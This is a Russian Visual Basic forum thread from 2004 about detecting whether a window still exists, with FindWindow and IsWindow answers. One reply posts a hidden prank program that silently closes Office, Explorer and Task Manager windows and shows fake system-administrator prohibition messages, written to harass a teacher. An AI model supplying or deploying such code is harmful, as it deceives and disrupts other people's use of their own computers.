Страница: 1 |
Страница: 1 |
Вопрос: hwnd окна - существует ли окно
Добавлено: 23.08.04 17:14
Автор вопроса: magish
Я знаю hwnd окна. Допустим при старте проги нужное мне окно было открыто и я узнал его hwnd. Я хочу засунуть в таймер код типа: Если окно есть то не чего, если нет то програ END.
Дайте мне API функцию или код который определит есть ли окно. Спасибо...
Ответы
Всего ответов: 13
Номер ответа: 1
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #1
Добавлено: 23.08.04 17:17
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
hW& = FindWindow(vbNullString, "Microsoft Word" & Chr(0))
If hW& <> 0 Then 'Окно есть!
Номер ответа: 2
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #2
Добавлено: 23.08.04 17:19
Совсем забыл! 256 сообщение! Поздравьте меня с юбилеем (можете и один черепок снять по такому поводу )
Номер ответа: 3
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #3
Добавлено: 23.08.04 17:24
Кстати, пример на тему.
Написал для издевательства над информатичкой
Dim exelIs As Boolean
Dim winstat As Boolean
Dim FileIs As Boolean
Dim wordIs As Boolean
Dim pwrpointIs As Boolean
Dim mycompIs As Boolean
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Const WM_CLOSE = &H10
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
On Error GoTo 10
Label2.Caption = Right(Label2.Caption, Len(Label2.Caption) - 1)
Exit Sub
10 Label2.Caption = " (c) QaE , 2003 [qae@mail.ru] AdminRights :]"
End Sub
Private Sub tmrclose_Timer()
On Error GoTo 1
Open "C:\winnt\wert.txt" For Input As #1
Close #1
Kill "C:\winnt\wert.txt"
tmrclose.Enabled = False
Me.Show
Exit Sub
1 On Error Resume Next
Dim hW&
hW& = FindWindow(vbNullString, "Microsoft Word" & Chr(0))
If hW& <> 0 Then wordIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "wert.txt - Блокнот" & Chr(0))
If hW& <> 0 Then FileIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Диспетчер задач Windows" & Chr(0))
If hW& <> 0 Then winstat = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Microsoft Excel" & Chr(0))
If hW& <> 0 Then exelIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Microsoft PowerPoint" & Chr(0))
If hW& <> 0 Then pwrpointIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Проводник" & Chr(0))
If hW& <> 0 Then mycompIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Мой компьютер" & Chr(0))
If hW& <> 0 Then mycompIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
hW& = FindWindow(vbNullString, "Мои документы" & Chr(0))
If hW& <> 0 Then mycompIs = True
PostMessage hW&, WM_CLOSE, 0&, 0&
If wordIs = True Then MsgBox "Microsoft Word запрещен системным администратором.", , "Windows 2000": wordIs = False
If FileIs = True Then MsgBox "Редактирование данного файла запрещено системным администратором.", , "Windows 2000": FileIs = False
If winstat = True Then MsgBox "Диспетчер задач запрещен системным администратором.", , "Windows 2000": winstat = False
If exelIs = True Then MsgBox "Microsoft Excel запрещен системным администратором.", , "Windows 2000": exelIs = False
If pwrpointIs = True Then MsgBox "Microsoft PowerPoint запрещен системным администратором.", , "Windows 2000": pwrpointIs = False
If mycompIs = True Then MsgBox "Доступ к дискам запрещен системным администратором.", , "Windows 2000": mycompIs = False
End Sub
Номер ответа: 4
Автор ответа:
sne
Разработчик Offline Client
ICQ: 233286456
Вопросов: 34
Ответов: 5445
Web-сайт:
Профиль | | #4
Добавлено: 23.08.04 18:13
) Кодо, смотри и поражайся красоте и изящности решения
if IsWindow(hWnd) then msgbox "Window ie exists!"
Номер ответа: 5
Автор ответа:
sne
Разработчик Offline Client
ICQ: 233286456
Вопросов: 34
Ответов: 5445
Web-сайт:
Профиль | | #5
Добавлено: 23.08.04 18:15
PS, сейчас тебя можно поздрасть только-лишь с константой MAX_PATH )
Номер ответа: 6
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #6
Добавлено: 23.08.04 18:30
С IDM_PAGE Вас, sne !!! ))
Номер ответа: 7
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #7
Добавлено: 23.08.04 18:32
Кстати, sne, знаешь прогу чтоб искала среди констант? А то вручную перебирать задолбаешься, ИМХО!
Номер ответа: 8
Автор ответа:
cresta
Вопросов: 117
Ответов: 1538
Профиль | | #8
Добавлено: 23.08.04 18:36
Есть API - Viewer.
Там и константы и типы и функции и процедуры. Одних констант что-то около 56000
Номер ответа: 9
Автор ответа:
sne
Разработчик Offline Client
ICQ: 233286456
Вопросов: 34
Ответов: 5445
Web-сайт:
Профиль | | #9
Добавлено: 23.08.04 18:36
У меня есть такой АПИ - вьювер...
Номер ответа: 10
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #10
Добавлено: 23.08.04 18:37
Давай на емаил.
P.S. с IDM_SAVETARGET тебя!
Номер ответа: 11
Автор ответа:
Kodo
Разработчик Offline Client
ICQ: 293048085
Вопросов: 37
Ответов: 457
Профиль | | #11
Добавлено: 23.08.04 18:38
2cresta:
Он у меня есть. Он по значениям не ищет, тока по имени!
Номер ответа: 12
Автор ответа:
sne
Разработчик Offline Client
ICQ: 233286456
Вопросов: 34
Ответов: 5445
Web-сайт:
Профиль | | #12
Добавлено: 23.08.04 18:53
отсылаю
Номер ответа: 13
Автор ответа:
Sharp
Лидер форума
ICQ: 216865379
Вопросов: 106
Ответов: 9979
Web-сайт:
Профиль | | #13
Добавлено: 24.08.04 11:30
Можно написать и по значению, благо формат APV-файла (базы к API Viewer) я уже удачно исследовал и выложил здесь, на форуме.